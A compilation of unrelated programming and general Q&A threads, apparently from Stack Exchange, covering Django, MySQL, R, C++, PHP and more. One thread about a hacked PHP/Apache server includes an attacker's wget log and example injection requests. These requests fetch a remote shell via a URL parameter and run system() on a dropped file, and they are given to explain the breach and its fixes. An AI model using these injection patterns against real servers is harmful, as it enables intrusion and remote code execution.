            'filenames.*' => 'image',

         ]);

        $files = [];
        if($request->hasfile('filenames'))
        {
            foreach($request->file('filenames') as $file)
            {
                $name = time().rand(1,100).'.'.$file->extension();
                $file->move(public_path('files'), $name);
                $files[] = $name;
            }
        }

        $vehicle = new Vehicle;
        $vehicle->condition = $request->condition;
        $vehicle->make = $request->make;
        $vehicle->model = $request->model;
        $vehicle->filenames= $files;
        $vehicle->save();

       return redirect(route('vehicles.create'))->with('flash', 'Vehicle Post Created
       Successfully');}


text:
Q: python url not found - Accessing views.py from AJAX New to Python and Django and I'm trying to make a simple ajax call from a button click to pass certain data to my views.py, however, when I try to make a url as seen on my ajax code below, the documentId.id does not append unless I directly append in without the "?id=".
    {%for document in documents%}
       {{document.filename}}
       <input type="button" id="{{document.id}}" onclick="loadData(this)" name="load-data" value="Add"/>
    {%endfor%}

 <script type ="text/javascript">
    function loadData(documentId){
       $.ajax({
       url:"upload-data/load" + "?id=" + documentId.id,
       data: {'documentId': documentId},
       type: 'GET',
       success: function(){
          window.location.href = "http://127.0.0.1:8000/url/locations";
       }
    });
    }
 </script>

This gives me then an error that says the url cannot be found. I have a line in my urls.py below:
url(r^"upload-data/load/([0-9]+)/$', views.loadFile, name="load-data"),

Other than this method, I am stumped as to how I am going to extract my data to my views.py.
def loadFile(request):
    documentId = request.GET.get('id')
    newLayer = Layer(get_object_or_404(Document, pk = documentId))
    newLayer.save()
    layers = Layer.objects.all()

    return render(request, 'url/loaded.html', { 'layers': layers})

The persisting error in the console would be:

http://127.0.0.1:8000/upload-data/load/                 [HTTP/1.0 404 Not Found]

A: Use something like this:
def loadFile(request):
    documentId= request.GET.get('id', '').
    newLayer = Layer(get_object_or_404(Document, pk = documentId))
    newLayer.save()
    layers = Layer.objects.all()

    return render(request, 'url/loaded.html', { 'layers': layers})

And update your url as :
    url(r^"upload-data/load/', views.loadFile, name="load-data")

And the script would be like :
<script type ="text/javascript">
    function loadData(documentId){
       $.ajax({
       url:"upload-data/load/?id="+ documentId.id,
       data: {'documentId': documentId},
       type: 'GET',
       success: function(){
          window.location.href = "http://127.0.0.1:8000/url/locations";
       }
    });
    }
 </script>

Thanks.

A: In JavaScript you need
"upload-data/load/" + documentId.id

Django doesn't use ?id= in url definition r^"upload-data/load/([0-9]+)/$'. It expects ie. upload-data/load/123 instead of upload-data/load?id=123

EDIT: and you need id in def loadFile(request, id).
And then you don't have to use request.GET.get('id')

A: From the above answers and comments it seems like rather than passing id as a url param you want to pass the same as a get param. In that case make your urls like below.
url(r^"upload-data/load/', views.loadFile, name="load-data")

and in views, check for get params by replacing id with documentId. document id will be in your dict named as data passed to view. So look for request.GET.get('data','') and from data extract id as below
def loadFile(request):
    data = request.GET.get('data', None)
    if data:
        documentId = data['documentId']
        newLayer = Layer(get_object_or_404(Document, pk = documentId))
        newLayer.save()
        layers = Layer.objects.all()

        return render(request, 'url/loaded.html', { 'layers': layers})
    else:
        return JsonResponse({'error': 'pass document id'}, status=400)

Since you are passing a get param from javascript named as documentId not id.
HTH


text:
Q: Looping over all models in r Scenario
I have some data and say, I want to implement 50 arima models and have their forecast. I am using forecast package to do this. Assume result is a matrix with dimensions 3(columns) and 50(rows) where first, second and third column containing values of p,d and q respectively. I would like to fit arima to all of them and get forecast for all of them. Following is my attempt:
y <- ts(rnorm(1000),start = 1850, frequency=1)
fit <- vector(mode="list", length=50)

for (j in 1:50){
   p[j]<- result[j,1]
   d[j]<- result[j,2]
   q[j]<- result[j,3]

   fit[[j]]<- arima(y, order=c(p[j],d[j],q[j]))
   fcasts<- forecast(fit[[j]], h=1)$mean

}

Which gives the following msg upon running:
Error in arima(y, order = c(p, d, q)) :
  'order' must be a non-negative numeric vector of length 3

Any idea, how to do this?

A: I wonder whether this is what you really want to do:
y <- ts(rnorm(1000),start = 1850, frequency=1)
fcasts <- numeric(50)

for (j in 1:50){
   p <- result[j,1]
   d <- result[j,2]
   q <- result[j,3]

   fit <- arima(y, order=c(p, d, q))
   fcasts[j] <- forecast(fit, h=1)$mean  ## predicted mean of 1-day ahead forecast

}


text:
Q: Count rows that have the same value in mysql and then show item number I have the following data and I was hoping I can group them.
|       Label             |     Category        |
|   PC Equipment          |     Materials       |
|   PC Equipment          |     Materials       |
|   PC Equipment - Install|     Installation    |
|   Table Setup           |     Materials       |
|   Table Setup           |     Materials       |
|   Table Setup - Install |     Installation    |

I wanted to group the following to this output:
| Item #|       Label             |     Category        |
|       |   PC Equipment          |     Materials       |
|       |   PC Equipment          |     Materials       |
|   1   |   PC Equipment - Install|     Installation    |
|       |   Table Setup           |     Materials       |
|       |   Table Setup           |     Materials       |
|   2   |   Table Setup - Install |     Installation    |

Would that be possible?
So far this is what I tried
SELECT
    @row_number := CASE WHEN Label LIKE "%Install%" THEN @row_number + 1
                        ELSE ""
                   END AS row_number,
    Label
FROM table1 t,
    (SELECT @rownum := 0) r
WHERE deleted = 0

The output i got was
| Item #|       Label             |     Category        |
|       |   PC Equipment          |     Materials       |
|       |   PC Equipment          |     Materials       |
|   1   |   PC Equipment - Install|     Installation    |
|       |   Table Setup           |     Materials       |
|       |   Table Setup           |     Materials       |
|   1   |   Table Setup - Install |     Installation    |

the second number did not increment.

A: This is MySQL.  You just need to do the variable arithmetic correctly:
SELECT (CASE WHEN Label LIKE '%Install%'
             THEN cast(@icnt := @icnt + 1 as char(10))
             ELSE ''
        END) AS row_number,
       Label
FROM table1 t CROSS JOIN
     (SELECT @icnt := 0) params
WHERE deleted = 0;

The reason your method doesn't work is because you are re-setting the counter variable on each row.  So, it goes from 1 to "", and the empty string is treated as 0 -- so the next installation, it is incremented to 1.  And so on.

A: Try this:
SELECT IF(Label LIKE "%Install%", rn, '') AS 'Item #',
       Label, Category
FROM (
  SELECT @row_number := CASE
                           WHEN Label LIKE "%Install%" THEN @row_number + 1
                           ELSE @row_number
                        END AS rn,
         Label, Category
  FROM table1 AS t
  (SELECT @row_number := 0) AS r
  WHERE deleted = 0
  ORDER BY Label) AS t


text:
Q: Microsoft Bot Framework respond to Slack Block Kit UI Action Buttons Using Microsoft Bot Framework Composer, I am sending a Slack Block Kit UI message that contains action buttons. Slack correctly displays the message, but pressing any of the action buttons results in a 400 error.

I have enabled Interactivity and set the Request URL to https://slack.botframework.com/api/Actions

Is this correct? I've tried updating to https://04458ba4816c.ngrok.io/api/slack, but then get 401 not authorized.
https://learn.microsoft.com/en-us/azure/bot-service/bot-builder-channeldata?view=azure-bot-service-4.0
Why doesn't the Azure Bot Service Slack connector forward Events and Interactive Messages?
https://learn.microsoft.com/en-us/azure/bot-service/bot-builder-channeldata?view=azure-bot-service-4.0


text:
Q: How to tell web server that some HTTP client (which is not known officially) supports HTML5? How to tell web server that some HTTP client (which is not known officially) supports HTML5? As I know, HTTP servers check what browser and version. But if I want to send HTTP request with header "User-Agent: SomeUnknownAgent" - how I must notify remote HTTP server that this "SomeUnknownAgent" supports HTML5? Here are sample "User-Agent" values:
Chrome 6.0.472.63: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3
Firefox 3.6.10: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10
Firefox 4.0 Beta 6: Mozilla/5.0 (Windows NT 5.1; rv:2.0b6) Gecko/20100101 Firefox/4.0b6
Internet Explorer 8.0.6001.18702: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
Opera 10.63: Opera/9.80 (Windows NT 5.1; U; en) Presto/2.6.30 Version/10.63
Safari 5.0.2: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5

I found these in common: Windows; U; Windows NT 5.1;. Maybe it is enough to include?

A: I found an answer. It helped a lot to read here. So the answer for example could be:
"User-Agent: SomeUnknownAgent 1.0.0.0: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) Gecko/20100101"

Now HTTP server knows that browser supports HTML5. Of course, if it's rely on "User-Agent" field.


text:
Q: How to extract text if HTML tags are under ::Before using bs4 I want to extract Publication date and time from : http://www.statssa.gov.za/?page_id=1854&PPN=P6141.2&SCH=7549
unfortunetly i was not getting any output.
I tried,
html = urllib3.PoolManager()
Res = html.request("GET", URL)
soup = BeautifulSoup(Res.data, 'html.parser')
Div = soup.find('div', {'class': 'row'})
date = Div.find('h5')
print(date.text())

it was throwing error as date is null

A: You'll have to be more specific to target the div. There are multiple elements with class row in the document, and the first does not match your expectation of containing a h5, that's why it fails.

A: As rolf82 said, the div you got is not right. Try this method.
from simplified_scrapy import SimplifiedDoc,req

html = req.get('http://www.statssa.gov.za/?page_id=1854&PPN=P6141.2&SCH=7549')
doc  = SimplifiedDoc(html)
div = doc.getElement('div',value='row',start='Header block@end')
h5 = div.h5
print (h5.text)

Result:
Publication date & time: 13 February 2020 @ 10:00


text:
Q: #define value in separate file, how will it affect compilation?
I'am trying to do something like that (in multiple files):
common_header.h:
#define NX           256        //! grid size: x axis
#define NY           256        //! grid size: y axis
#define NZ           256        //! grid size: z axis
#define DX           0.5f       //! grid step: x axis
#define DY           0.5f       //! grid step: y axis
#define DZ           0.5f       //! grid step: z axis
#define DT           0.1f       //! grid step: time

extern std::ostream stream_out

common_header.cpp:
std::ostream stream_out("data_out.txt", ios_base::out);

file_1.cpp:
//functions are using #defined values
(...)

file_2.cpp:
//functions are using #defined values
(...)

file_3.cpp:
//functions are using #defined values
(...)

and my question is:

*

*What will happen when i compile program with one set of defined values, then change them, and then compile program once more?

*Will compiler re-build whole program? or will it just re-build one file: "common_header.o" and rest of the program will be unchanged?

I am asking about c++,

compilers i am interested in:

*

*visual studio compiler

*gcc compiler

*nvcc compiler

Thank you very much!
 EDIT:
sory I mislead you.. I am declaring few global externa values (such as data streams) in common_header.h, and defining them in common_header.cpp file will it change anything ? I am getting *.o files in every case

A:
What will happen when I compile program with one set of defined values, then change them, and then compile program once more?

The program will recompile with the new definitions in place of the old ones.

I am declaring few global external values (such as data streams) in common_header.h, and defining them in common_header.cpp file will it change anything? Will compiler re-build whole program? or will it just re-build one file: common_header.o and rest of the program will be unchanged?

Build system will rebuild at least all files that are dependent on the header. Older systems require you to specify the dependencies; more modern ones will detect dependencies automatically.
This is not compiler-specific. Some build systems will do this more efficiently than others - for example, by skipping recompiling of cpp files with all their dependencies unchanged. However, the effect that you should count on is that all dependencies of the header will be rebuilt.

A: The Visual Studio IDE is smart enough to recompile the source files that use your header file when the header file changes.
You indicated that you are using GCC and NVCC with make. Whether the source files get recompiled depends on your Makefile - it is nothing to do with the compiler or with make.


text:
Q: bug in printing phrases of a sentence c++ vector <string> oneWordPhrase;
vector <string> twoWordPhrase;
vector <string> threeWordPhrase;

string str="hello my is bob oh hey jay oh";

vector<string>::iterator it1;
vector<string>::iterator it2;

I broke the sentence up in str into individual words and stored them into vectors called oneWordPhrase. So, the vector will have a size of 7
for(it1=oneWordPhrase.begin(); it1!=oneWordPhrase.end(); it1++)
{
    if(it1+1 == oneWordPhrase.end())
        break;  /* if we reach the last element of the vector
                     get out of loop because we reached the end */
    twoWordPhrase.push_back(*it1 + ' ' + *(it1+1));
}//gets each 2 consecutive words in the sentence

cout<<"two word---------------\n";
for(int i=0; i<twoWordPhrase.size(); i++)
    cout<<twoWordPhrase[i]<<endl;

This produces the correct output:
hello my
my is
is bob
bob oh
oh hey
hey jay
jay oh
for(int i=0; i<twoWordPhrase.size()-1; i++)
{
    it1=twoWordPhrase.begin()+i;
    it2=oneWordPhrase.begin()+i+2;
    if(it1==twoWordPhrase.end()-1)
        break; //signal break but doesnt work
    threeWordPhrase.push_back(*it1 + ' ' + *it2);
}
cout<<"three words-----------\n";
for(int i=0; i<threeWordPhrase; i++)
    cout<<threeWordPhrase[i]<<endl;

This produces the correct output but there are two lines of white space at the end
hello my is
my is bob
is bob oh
bob oh hey
oh hey jay
//whitespace
//whitespace
I also tried to use the iterator in my for loop to signal the break but it didn't work. Why is it printing two extra lines of white space?

A: To answer the original question, the code posted was correct. As JosephMansfield suspected, there was a mistake in the display code (not posted), as demonstrated here.
Following comments on style and best-practice, I think the following is more idiomatic C++:
#include <iostream>
#include <vector>
#include <string>
#include <sstream>
#include <iterator>

using namespace std;
typedef vector<string> strings;

int main() {
    string s = "one two three four five";

    /* stringstream is a stream just like std::cout
       but reads/writes from/to a string
       instead of the standard input/output */
    stringstream ss(s);

    /* std::vector has a 2 argument constructor
       which fills the vector with all elements between two iterators
       istream_iterator iterates throuw the stream as if
       using operator>> so it reads word by word */
    strings words =
        strings(istream_iterator<string>(ss), istream_iterator<string>());

    strings threeWords;
    for(size_t i = 0; i < words.size()-2; ++i)
        threeWords.push_back(words[i] + ' ' + words[i+1] + ' ' + words[i+2]);

    for(size_t i = 0; i < threeWords.size(); ++i)
        cout << i << ": " << threeWords[i] << endl;

    return 0;
}

The word splitting code is inspired by this post


text:
Q: Group of Units in Cyclotomic Integers I'm trying to show that for any $p$-th root of unity $\zeta$, where $p$ is an odd prime, we have $\mathbb{Z}[\zeta]^{\times} = \left<\zeta\right>\mathbb{Z}[\zeta + \zeta^{-1}]^{\times}$. Obviously the $\left<\zeta\right>$ factor comes as a result of Dirichlet's unit theorem. However, I'm struggling to show that $\mathbb{Z}[\zeta + \zeta^{-1}]^\times$ is a free abelian group of rank $r + s - 1$, where $r$ is the number of real embeddings of $\mathbb{Z}[\zeta]$ and $s$ is the number of complex conjugate pairs of embeddings.

A: This is true more generally if $\zeta$ is a primitive $n$-th root of unity, where $n$ is odd (not necessarily prime).
Let $u \in \mathbb Z[\zeta]$. Let $\overline{u}$ denote the complex conjugate of $u$ (remark that this is independent of any choice of embedding of $\mathbb Q(\zeta)$ in $\mathbb C$, because $\mathbb Q(\zeta)$ is a CM field - complex conjugation always acts via $\zeta \mapsto \zeta^{-1}$).
Let $s= u/\overline{u}$.
Remark that under any embedding of $\mathbb Q(\zeta)$ in $\mathbb C$, $s$ is mapped to a complex number of absolute value $1$.
It follows that $s$ is a root of unity contained in $\mathbb Q(\zeta)$, hence $s=\zeta^a$ for some $a \in \mathbb Z/n\mathbb Z$.
Let $b \in \mathbb Z/n\mathbb Z$ be such that $2b=-a$, which exists because $n$ is odd. Let $v = \zeta^b u$. Then
$$\overline{v} = \zeta^{-b} \overline{u} = \zeta^{-b} u/s = \zeta^{-b - a} u = \zeta^b u = v.$$
Hence $v$ is totally real, hence $v \in \mathbb Z[\zeta + \zeta^{-1}]^\times$. Since $u = \zeta^{-b}v$, it follows that $\mathbb Z[\zeta]^\times = \left<\zeta\right> \mathbb Z[\zeta + \zeta^{-1}]^\times$.
Remark: This calculation is very Galois-cohomological in flavor. I'd be curious to see a proof of this result using only Galois cohomology!


text:
Q: Purpose behind this scene in Game Of Thrones? In the Game of Thrones season 6 finale, where

 Cersei blows up the Sept,

I'm a little confused on why the following scene is included. I haven't read the books so I am not sure if it is included, or better explained, there:

 When Lancel Lannister and the other Sparrows go to retrieve Cersei from the Keep for her trial, Lancel begins following a small child into the area underneath the Sept. The child then stabs Lancel, followed by the scene depicting Lancel crawling in an effort to blow out the flame.

Does this scene have any significance, or was it just a set up to show the audience what was happening/to come? Was it included in the novel?

A: The books haven't gotten that far yet. This is likely to come in the upcoming novel "The Winds of Winter" (which has the same title as the final episode). So I can't help give you an answer from the books.
From the show's point of view however, having Lancel follow one of the "Little Birds" into the tunnels under the Sept gave us an idea of how the explosion was set up and how it would take place. It is likely Lancel would've died either way, however by having him be led into the Sept's cellar not only gives the viewers an idea of the scale of the operation, but also keeps alive the possibility that Lancel can save the Sept and everyone inside.
This answer is very opinionated, since it is the final episode in the TV series, and has not yet been mentioned in the novels.

I was however able to find an interview with the actor where he discusses the scene a little bit:

What was it like crawling through the corridor?
  The thing about the whole scene was that for the last two years, we've seen Lancel be this stoic, disciplined, focused individual, with a rather limited demonstration of much emotion. But when the worst happens to him, and he finds himself staring death in the face, he tries to do his utmost to solve it. He doesn't give up. He doesn't cry. But he is, for the first time we've seen in a while, really brave. He wants to make sure everything he's worked for doesn't go up in flames. And having just suddenly been paralyzed, and being on his own, with no one around him, he would probably bleed to death anyway if he didn't get the candles out in time. And yet, he still does his best. I found that to be rather emotional, because for all of his bad choices, all the bad things that have happened to him, he still tries his very hardest to do what he believes to be right. And that made him vulnerable again. I could have played that entire reaction very robotically, the way he's been. But instead, I let him cry out in pain and didn't deprive him of his humanity. He was still human. He was scared. He didn't want to die. But I am glad that my character has died the way he has. It was quite a cathartic experience for me.
Vulture.com: Interview with Eugene Simon


text:
Q: Checkbox Undefined index error in Plugin I am getting some errors when trying to create a checkbox within a simple plugin I am creating.
I have a simple settings page at the moment.
The errors are:

Illegal string offset 'single_images'

And

Undefined index: single_images_zoom

Here is the checkbox code. Any help would be appreciated.
<input id="iwmp_settings['single_images']" name="iwmp_settings['single_images']" type="checkbox" value="1" <?php checked(1, $iwmp_options['single_images'], false); ?> />
<?php _e('Use with Single Images', 'iwmp_domain'); ?>

<input id="iwmp_settings['single_images_zoom']" name="iwmp_settings['single_images_zoom']" type="checkbox" value="1" <?php checked(1, $iwmp_options['single_images_zoom'], false); ?> />
                    <?php _e('Use Zoom effect with Single Images', 'iwmp_domain'); ?>

The Illegal string offset issue seems to be caused from this snippet:
<?php checked(1, $iwmp_options['single_images'], false); ?>

Thanks

A: You shouldn't put quotes around the index for HTML names - otherwise you end up with 'single_images' (including single quotes) as the PHP name (so you'd have to address it $iwmp_options["'single_images'"], which some might consider confusing) ... eg:
add_action( 'admin_init', function () {
    register_setting( 'iwmp_settings', 'iwmp_settings' );

    add_settings_section( 'single_images', __( 'Single Images', 'iwmp_domain' ) , function () {
        $iwmp_options = get_option( 'iwmp_settings' );
        // Note quotes around the PHP index, no quotes around the HTML index.
        // (Also id's should basically be alphanumeric with underscores/hyphens (for pre-HTML5 compatibility anyway).)
        ?>
        <input id="iwmp_settings_single_images_" name="iwmp_settings[single_images]" type="checkbox" <?php checked( isset( $iwmp_options['single_images'] ) ); ?> />
        <?php _e('Use with Single Images', 'iwmp_domain'); ?>

        <input id="iwmp_settings_single_images_zoom_" name="iwmp_settings[single_images_zoom]" type="checkbox" <?php checked( isset( $iwmp_options['single_images_zoom'] ) ); ?> />
        <?php _e('Use Zoom effect with Single Images', 'iwmp_domain'); ?>
        <?php
    }, 'iwmp_settings' );
} );

add_action( 'admin_menu', function () {
    add_options_page( __( 'IWMP Settings', 'iwmp_domain' ), __( 'IWMP', 'iwmp_domain' ), 'manage_options', 'iwmp_settings', function() {
        ?>

<?php _e( 'IWMP Settings', 'iwmp_domain' ); ?>

            <form method="post" action="options.php">
                <?php settings_fields( 'iwmp_settings' ); ?>
                <?php do_settings_sections( 'iwmp_settings' ); ?>

                    <input type="submit" class="button-primary" value="<?php _e( 'Save Changes', 'iwmp_domain' ) ?>" />

            </form>

        <?php
    } );
} );

Also, just checking for isset() here on checkbox values makes things simple. And if you want to manipulate them then set a variable eg $single_images = isset( $iwmp_options['single_images'] ); etc. or use a wrapper function. (And as a side note for shortcode compatibility I find 1/0 handier then true/false.)


text:
Q: server hacked. need help finding how one of our CentOS boxes that runs PHP/Apache was recently hacked. Luckily we were going to retire this server soon and have backups etc. However, I need some help in finding how the hackers were able to get in.
From what I have gathered, it appears that some scripts were written to our servers using apache (perhaps a PUT?)  in apache error_logs I see:
    [Fri Sep 10 12:46:43 2010] [error] [client xx.xx.xx.xx] File does not exist: xyz.php
    --2010-09-10 12:46:45--  http://208.75.xx.xx/newmax/max.txt
    Connecting to 208.75.xx.xx:80... connected.
    HTTP request sent, awaiting response... 200 OK
    Length: 28975 (28K) [text/plain]
    Saving to: `max.txt'

         0K .......... .......... ........                        100%  184K=0.2s

    2010-09-10 12:46:45 (184 KB/s) - `max.txt' saved [28975/28975]

      % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                     Dload  Upload   Total   Spent    Left  Speed
    ^M  3 28975    3  1140    0     0   8597      0  0:00:03 --:--:--  0:00:03  8597^M100 28975  100 28975    0     0  88203      0 --:--:-- --:--:-- --:--:--  139k
    sh: lynx: command not found
     [Fri Sep 10 12:46:43 2010] [error] [client xx.xx.xx.xx] File does not exist: xyz.php

(first and last line are just dummy error lines to indicate the log format and weirdness of how the entries are in between).
Any ideas how apache error log would have this format and how it might have been triggered?
I will add more to this question as I come across more findings.

A: I would guess that register_globals is turned on and you're running OSCommerce without the four patches in their forums.  Why they refuse to update the .zip/.gz files with the patches, I don't know.
I suppose that max.txt is probably c99 shell and is downloaded into your /store/images path as something.php.  Once they are able to run that file in a browser, they have a remote shell.
If you're not running OSCommerce, look for hits on your include files.  I.e. you may have a function.php file that shouldn't be called directly that has:
exec($path . 'convert blahblah');

a request is sent with:
hxxp://yoursite.com/function.php?path=wget%20-O%20/path/to/something/web/accessible/file.php%20hxxp://blahblah

which allows them to write a file to the disk that can be remotely executed.  It is also possible that they used an XSS exploit in your code to do something like:
require($webpath . '/functions.lib.php');

and a request was sent through with ?webpath=hxxp://c99shell.com/location.txt?  which gave them a remote shell.  Once they got the remote shell, they tried to run wget/lynx (or uploaded a shell script to run a number of methods to make sure their payload was installed)
In this case, allow_url_include=off could help.

A: A typical way to hack a server goes like this:
1) Server has PHP running with default settings; this means no safe_mode, all the POSIX functions are allowed (such as system()) and couple of versatile yet dangerous PHP modules, such as curl, are activated
2) Server has /tmp (or whatever the temp directory for http uploads is) mounted with default settings; this means it allows files to be executed.
3) Server has /var/www (or whatever the mount point for webroot is) mounted with default settings; this means it allows files to be executed.
4) There's a homebrew PHP script with weak input validation / a known vulnerability in some CMS or other software installed.
In an environment like this an attacker can upload an evil file via http or instruct the server to fetch one from a remote server, and then just run that script by passing some URL parameters which lacks input validation.
If a PHP script does not validate the input, the URL parameters (or POST request) could contain stuff like <?php system("/tmp/pwn4g3"); ?>. karmawhore already explained this.
So, to stop this kind of evilness:

*

*mount webroot and PHP temp directory with noexec flag.

*disable dangerous functions in PHP if possible

*use PHP's safe_mode if possible (even though it's far from fool-proof and maybe completely removed over time).

*don't allow Apache user to use gcc, or even better, don't install gcc to your webserver at all.

*use mod_security.

*use suhosin.

*use php-fpm, suphp or other techniques to run scripts as their owner accounts instead of general Apache account.

*keep your software up to date.


text:
Q: How can I remove a single temporary key mapping without resetting the entire keymap? So I saw this question the other day. The user's K key was broken and they wanted to map it to Right-Shift. A good answer popped up and I thought I'd test it to see if it worked. I ran:
xmodmap -e "keycode 62 = k"

I did this under the understanding that I never use Right-Shift for anything. It turns out I was completely wrong. I use it all day long.
I've been filling up documents, corrupting commands, even almost deleting the wrong things (with Right-Shift+Delete). It's been a roller-coaster of emotions, but now I want it to go away. I'm sorry universe.
I know I could reboot or even just restart X but I have a load of things running and work to do. Can I just remove the mapping that xmodmap has created so that Right-Shift is just Right-Shift?
In this case it's just a single mapping (so Etcher Sketch approaches will work for me) but assume I have other mappings that I want to keep.

A: Try:
xmodmap -e "keycode 62 = Shift_R"

I used xmodmap -pke to see the list of current mappings, and look up Left-Shift. The right one follows from symmetry.


text:
Q: Ensuring a partially connected digraph is strongly connected Context
I am building a 3d game using procedural generation. I am trying to connect a number of pre-generated rooms in such a way that no matter what, a player can always reach any other room in the map. The rooms have "possible entry points" to which connecting hallways must attach. However, not all entry points are reachable from all other entry points within a room. For example, there might be a pit trap, so a player on the bottom would not be able to travel through the room to the top, and would have to find another way around.
Problem
Given a set of preexisting directed graphs embedded in a 3d space, add a set of (bidirectional) paths of minimal total length that connect the subgraphs into a larger graph. Failing that (since some research indicates that this is NP-Hard) make the paths as short as possible to compute in a short amount of time.
Work so far
My best solution is based off of this procedural generation post, where he creates a Delaney Triangulation of all nodes. I treat each strongly connected component of the rooms (eg. top floor and bottom floor of the pit trap) as separate nodes, and build the MST off that, but this limits some of the more interesting possibilities (for example, having to do through two 1-directional paths to get back to where you started).

Does anyone know of a better method for solving this problem?

A: Perhaps you can take better advantage of the fact that you're modeling 3d space.  That implies you could partition the problem into a set of planar graphs, each one representing a different floor.  You could start by building each floor to be strongly connected.  Then when you join the floors (with probably just a few staircases and pit traps), perturb the solution by removing a few edges while still maintaining an overall strongly connected graph.  Interesting choices for edges to remove would be ones that would cause the floor by itself to lose strong connectedness but maintain the property when other floors are considered.  These are known as bridges, and there is a linear algorithm for finding them.
If you just count edges and not their lengths, solving for planar graphs (floors) in isolation would transform this into multiple Euclidean Steiner tree problems, which, while still NP-hard, can be solved using a near-optimal polynomial-time approximation scheme.  However, you mentioned you wanted to minimize the total length of the paths, which makes this a rectilinear Steiner tree problem.  Much  research has been done on this problem due to its applicability to circuit design.  Approximations exist that can come within a factor of 1.5 of optimal, which might work better for what you're doing: slightly longer hallways instead of all entrances in one place.

A: The embedding part of this problem makes it a terrific mess, so I'm going to assume that we estimate the connection costs to obtain a directed graph, of which we want a minimum-cost strongly connected arc-subgraph. Then just find an embedding using a greedy algorithm.
For a 2-approximate solution in polynomial time: choose an arbitrary root vertex, then use the algorithm due to Chu--Liu and also Edmonds to compute minimum-cost rootward and leafward spanning arborescences. Return the union of these. This is a 2-approximation because every strongly connected arc-subgraph contains both a rootward and a leafward spanning arborescence (though not necessarily of minimum cost). I see now from one of your links that Keith Randall also had this idea.
There are any number of heuristics that you could implement. They may work quite well, but they're not really of interest to me. If you're concerned about them behaving badly, then you can "backstop" them with the previously mentioned 2-approximation.
If you really want an optimal solution, then your best bet is probably integer programming. Formulated as an integer program, this problem bears some resemblance to TSP. The program for TSP looks like this.
minimize sum_{v -> w} cost(v -> w) x(v -> w)
subject to
(-) for all v, sum_{v -> w} x(v -> w) = 1
(-) for all w, sum_{v -> w} x(v -> w) = 1
for all subsets S of vertices, sum_{v -> w, v in S, w not in S} x(v -> w) >= 1
for all v -> w, x(v -> w) >= 0

For your problem's program, we drop the constraints marked (-), which would force the arcs chosen to be a tour.
minimize sum_{v -> w} cost(v -> w) x(v -> w)
subject to
for all subsets S of vertices, sum_{v -> w, v in S, w not in S} x(v -> w) >= 1
for all v -> w, x(v -> w) >= 0

The dual of this program is as follows.
maximize sum_{subsets S of vertices} y(S)
subject to
for all v -> w, sum_{subsets S of vertices, v in S, w not in S} y(S) <= cost(v -> w)
for all subsets S of vertices, y(S) >= 0

Now we can adapt the branch and bound solution for TSP, for which there should be plenty of tutorial material out there. You won't have to do anything fundamentally new; in fact, you can focus on generating subtour constraints/variables, as the comb inequalities and the like don't apply to this problem.


text:
Q: How to properly use databases in development? I'm struggling with finding out how to properly test stuff on my local PC and then transfer that over to production.
So here is my situation:
I got a project in NodeJS/typescript, and I'm using Prisma in it for managing my database. On my server I just run a MySQL database, and for testing on my PC I always just used SQLite.
But now that I want to use Prisma Migrate  (because it's highly recommended to do so in production) I can't because I use different databases on my PC vs on my Server. Now here comes my question, what is the correct way to test with a database during development?
Should I just connect to my server and make a test database there? Use VS Code's SSH coding function to code directly on the server and connect to the database? Install MySQL on my PC? Like, what's the correct way to do it?

A: Always use the same brand and same version database in development and testing that you will eventually deploy to. There are compatibility differences between brands, i.e. an SQL query that works on SQLite does not necessarily work the same on MySQL, and vice-versa. Even data types and schema definitions aren't all the same between different SQL products.
If you use different SQL databases in development and production, you will waste a bunch of time and increase your gray hair debugging problems in production, as you insist, "it works on my machine."
This is avoidable!
When I develop on my local computer, I usually have an instance of MySQL Server running in a Docker container on my laptop.
I assume any test data on my laptop is temporary. I can easily recreate schema and data at any time, using scripts that are checked into my source control repo, so I don't worry about losing any data. In fact, I feel no hesitation to drop it and recreate it several times a week.
So if I need to upgrade the local database version to match an upgrade on production, I just delete the Docker container and its data, pull the new Docker image version, initialize a new data dir, and reload my test data again.
Every step is scripted, even the Docker pull.
The caveat to my practice is that you can't necessarily duplicate the software if you use cloud databases, for example Amazon Aurora. There's no way to run an Aurora-compatible instance on your laptop (and don't believe the salespeople that Aurora is fully compatible with MySQL; it's not). So you could run a small Aurora instance in a development VPC and connect to that from your app development environment. At least if your internet connection is reliable enough.

By the way, a similar rule applies to all the other technology you use in development. The version of Node.js, Prisma, other NPM dependencies, http and cache servers, etc. Even the operating system might be the source of compatibility issues, but you may have to develop in a Virtual Machine to match the OS to production exactly.
At one past job, I did help the developer team create what we called the "golden image" which was a pre-configured VM with all our software dependencies installed, and we used this golden image for both the developer sandbox VM, and also an AMI from which we launched the production Amazon EC2 instances. So all the developers were guaranteed to have a test environment that matched production exactly. After that, if they had code problems, they could fix it in development and have a much higher confidence it would work after deploying to production.


text:
Q: Sapui5 horizontal line is there any alternative to the depricated"HorizontalDivider" in SAPUI5? Since Sap doesn´t mention any alternative, I ran over something like "" Element that draws a Horizontal line?

A: It is better that you use a toolbar element as it has the bottom border. When you use the html hr tag, it does not respect the theme color while the toolbar use the theme color and also its spacing policy.
<sap.m.Toolbar width="100%" height="1px"/>

It the following picture you can see what is the result of using a toolbar with 1px height.

And in the following picture the result of using html hr tag.

Or you can use any boxing elements of the UI5 and just play with its class. For example you can assign the class sapMTBStandard to your element to make a bottom border with suitable color in your theme.

A: <html:hr></html:hr>

Make sure you add xmlns:html="http://www.w3.org/1999/xhtml" library


text:
Q: Set InputBinding(KeyboardBinding) in ListViewItem I wish to set the Inputbinding of a listViewitem ... It should be a Keyborad binding and not a mouse binding...
I want to Execute a function in my view model when the User selectes an item and presses Enter Key
Style for ListViewItem
    <Style x:Key="{ComponentResourceKey TypeInTargetAssembly={x:Type CustomView:PlainView},
                                    ResourceId=ImageViewItem}"
       TargetType="{x:Type ListViewItem}" BasedOn="{StaticResource {x:Type ListViewItem}}">

    <Setter Property="HorizontalContentAlignment" Value="Center" />
